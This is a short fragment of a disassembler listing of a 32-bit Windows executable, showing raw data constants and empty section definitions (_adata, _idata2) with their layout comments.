dd 0CD59446Bh, 6A79BB30h, 2DAE97CCh, 107A769Ah, 98C63674h
dd 0BD326E6Eh, 0F52CF290h, 3448F13Fh, 0E557A468h, 332CB697h
dd 1B26DA7Fh, 30D62FA6h
dd 0FC665F45h, 6996B578h, 9F6A845Eh, 42F287C4h, 6B14972h
dd 0ED988B45h, 0BC9F4C94h, 6F5DECA8h, 0BA448833h, 0E74A8608h
dd 300h dup(0)
_data ends
; Section 7. (virtual address 00114000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00114000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_adata segment para public 'CODE' use32
assume cs:_adata
;org 514000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 400h dup(0)
_adata ends
; Section 8. (virtual address 00115000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00115000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 515000h
dd 80h dup(0)
dd 0D1h dup(?)
db ?
byte_515545 db 3 dup(?) ; DATA XREF: seg002:004508CCo
align 1000h
_idata2 ends
end start